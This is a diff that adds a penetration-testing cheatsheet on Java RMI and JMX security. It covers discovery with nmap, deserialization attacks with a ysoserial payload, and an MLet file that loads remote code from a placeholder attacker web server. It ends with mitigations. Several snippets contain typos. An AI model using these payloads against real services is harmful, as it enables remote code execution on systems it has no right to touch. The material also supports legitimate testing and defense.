|
@@ -0,0 +1,200 @@
|
|
|
+---
|
|
|
+title: Java RMI Security
|
|
|
+categories: [cheatsheets]
|
|
|
+tags: [reversing, fatclients, java, rmi]
|
|
|
+---
|
|
|
+
|
|
|
+# Java RMI Security
|
|
|
+
|
|
|
+## RMI Basics
|
|
|
+
|
|
|
+Remote-Method-Invocation (RMI) is mainly used in Java based Fat-Clients.
|
|
|
+RMI has the same principal as other Distibuted Object Communication, namely stubs and skeletons.
|
|
|
+
|
|
|
+
|
|
|
+### Creating a RMI service
|
|
|
+
|
|
|
+```java
|
|
|
+public class MyFatClient {
|
|
|
+ public static void main(String[] args) {
|
|
|
+ try {
|
|
|
+ // Create new RMI registry to which we can register
|
|
|
+ LocateRegistry.createRegistry(1099);
|
|
|
+ // available under the name "myinterface"
|
|
|
+ Naming.bind("myinterface", new BSidesServiceServerImpl());
|
|
|
+
|
|
|
+ } catch (Exception e) {
|
|
|
+ }
|
|
|
+ }
|
|
|
+}
|
|
|
+```
|
|
|
+
|
|
|
+To create the Registry, an interface is needed:
|
|
|
+
|
|
|
+```java
|
|
|
+package de.test.MyRMIService;
|
|
|
+
|
|
|
+import java.rmi.Remote;
|
|
|
+import java.rmi.RemoteException;
|
|
|
+
|
|
|
+public interface IMyRMIService extends Remote {
|
|
|
+ boolean doStuff(String stuff) throws RemoteException;
|
|
|
+}
|
|
|
+```
|
|
|
+
|
|
|
+and the corresponding implementation:
|
|
|
+
|
|
|
+```java
|
|
|
+package de.test.MyRMIService;
|
|
|
+
|
|
|
+import java.rmi.RemoteException;
|
|
|
+import java.rmi.server.RemoteObject;
|
|
|
+import java.rmi.server.UnicastRemoteObject;
|
|
|
+
|
|
|
+public class MyRMIMethodImplementation extends UnicastRemoteObject implements IMyRMIService {
|
|
|
+
|
|
|
+ public MyRMIMethodImplementation() throws RemoteException {}
|
|
|
+
|
|
|
+ public boolean doStuff(String stuff) throws RemoteException {
|
|
|
+ System.out.println("Doing Stuff: " + stuff);
|
|
|
+ return false;
|
|
|
+ }
|
|
|
+}
|
|
|
+```
|
|
|
+
|
|
|
+
|
|
|
+### Discovery
|
|
|
+
|
|
|
+When running nmap on that remote service (`nmap -sV --script=rmi-dumpregistry <ip> -p 1099`)
|
|
|
+the following output appears:
|
|
|
+
|
|
|
+```
|
|
|
+PORT STATE SERVICE VERSION
|
|
|
+1099/tcp open java-rmi Java RMI Registry
|
|
|
+| rmi-dumpregistry:
|
|
|
+| myinterface
|
|
|
+| implements java.rmi.Remote, de.test.MyRMIService.IMyRMIService,
|
|
|
+| extends
|
|
|
+| java.lang.reflect.Proxy
|
|
|
+| fields
|
|
|
+| Ljava/lang/reflect/InvocationHandler; h
|
|
|
+| java.rmi.server.RemoteObjectInvocationHandler
|
|
|
+| @10.165.188.25:43229
|
|
|
+| extends
|
|
|
+|_ java.rmi.server.RemoteObject
|
|
|
+```
|
|
|
+* The following Infos are available:
|
|
|
+ - RMI Name (myinterface)
|
|
|
+ - Which Interface is used (de.test.MyRMIService.IMyRMIService
|
|
|
+ - Port where the skeleton can be accessed (43229)
|
|
|
+
|
|
|
+* The port where the skeleton can be accessed (43229), should be open and visible with nmap, as seen below:
|
|
|
+
|
|
|
+```
|
|
|
+PORT STATE SERVICE VERSION
|
|
|
+43229/tcp open rmiregistry Java RMI
|
|
|
+```
|
|
|
+
|
|
|
+When interacting with the RMI service, the client needs to know the _Interface Definition_ to call those functions.
|
|
|
+For example, like this:
|
|
|
+
|
|
|
+```java
|
|
|
+public static void main(String[] args) {
|
|
|
+
|
|
|
+ try {
|
|
|
+ Registry registry = LocateRegistry.getRegistry("<ip>, 1099);
|
|
|
+ IBSidesService bsides = (IBSidesService) registry.lookup("myinterface");
|
|
|
+
|
|
|
+ // calling server side methods...
|
|
|
+ bsides.doStuff("stuffnstuff");
|
|
|
+
|
|
|
+ } catch (Exception e) {
|
|
|
+ }
|
|
|
+}
|
|
|
+```
|
|
|
+
|
|
|
+### Attacking RMI
|
|
|
+
|
|
|
+Two ways to attack RMI interfaces:
|
|
|
+
|
|
|
+* Using the given Interfaces
|
|
|
+* Deserialization Attacks (Pre Jeb290)
|
|
|
+
|
|
|
+#### Given Interfaces
|
|
|
+
|
|
|
+When having access to given interfaces (Function Definitions), those
|
|
|
+could be abused under certain circumstances. E.g:
|
|
|
+
|
|
|
+When passing an object as parameter: `void doSutff(Object stuff) throws RemoteException`.
|
|
|
+
|
|
|
+An attacker can write a custom client and passes a malicious Java object to the method.
|
|
|
+A malicious object could look like this: (using ysoserial)
|
|
|
+
|
|
|
+```java
|
|
|
+import ysoserial.payloads.COmmonsCollections6;
|
|
|
+
|
|
|
+Object payload = new CommonsCollection6().getObject("id");
|
|
|
+```
|
|
|
+
|
|
|
+#### Deserialization Attacks
|
|
|
+
|
|
|
+Valid 'gadgets' must be available to exploit deserialization.
|
|
|
+This only works prior to the JEB 290 fixes.
|
|
|
+Two common exploits from ysoserial can be used (RMIRegistryExploit and JRMPClient)
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+## JMX over RMI
|
|
|
+
|
|
|
+Java Management Extensions (JMX) can be used to monitor and manage Java applications.
|
|
|
+By default, this uses password authentication (the password is stored in plaintext on the server).
|
|
|
+The JMX Agent is sometimes called MBean Server.
|
|
|
+
|
|
|
+
|
|
|
+The JMX access can be checked with the tool `jconsole <host>:<port>`
|
|
|
+
|
|
|
+JMX can be exploit with RMI deserialization attacks, just as regular RMI interfaces.
|
|
|
+
|
|
|
+In addition to that, Code Execution can be achieved by using so called _MLets_.
|
|
|
+
|
|
|
+That means, that a MLet (management applet) can be registered to an MBean server, coming form a remote URL.
|
|
|
+An example MLet file looks like this:
|
|
|
+
|
|
|
+```
|
|
|
+<html><mlet code="de.test.MaliciousMLet" archive="mlet.jar" name="Test:name=payload" codebase="http://attackerwebserver"></mlet></html>
|
|
|
+```
|
|
|
+
|
|
|
+This attack can be executed with:
|
|
|
+
|
|
|
+* Metasploit Module (exploit/multi/misc/java_jmx_server)
|
|
|
+* [MJET](https://github.com/mogwailabs/mjet)
|
|
|
+
|
|
|
+
|
|
|
+### Mitigation
|
|
|
+
|
|
|
+* Two properties can be used to enable password authentication and SSL to make the JMX interface more secure:
|
|
|
+
|
|
|
+```
|
|
|
+com.sun.management.jmxremote.authenticate=true
|
|
|
+com.sun.management.jmxremote.ssl=true
|
|
|
+```
|
|
|
+
|
|
|
+* Make sure the Java Environment uses the JEB 290 patch
|
|
|
+
|
|
|
+## Tools
|
|
|
+
|
|
|
+* [ysoserial](https://github.com/frohoff/ysoserial)
|
|
|
+ - Implements Attacks against RMI object deserialization
|
|
|
+* [YouDebug](http://youdebug.kohsuke.org/)
|
|
|
+ - Scriptable JDI (Java Debug Interface) Debugger
|
|
|
+
|
|
|
+
|
|
|
+## References
|
|
|
+
|
|
|
+* [JMX Oracel Documentation](https://docs.oracle.com/javase/6/docs/technotes/guides/management/agent.html)
|
|
|
+* [RMI Exploitation](https://www.optiv.com/blog/exploiting-jmx-rmi)
|
|
|
+* [RMI Basics](https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
|
|
|
+* [JMX via RMI](https://mogwailabs.de/blog/2019/04/attacking-rmi-based-jmx-services/)
|
|
|
+
|
|
|
+
|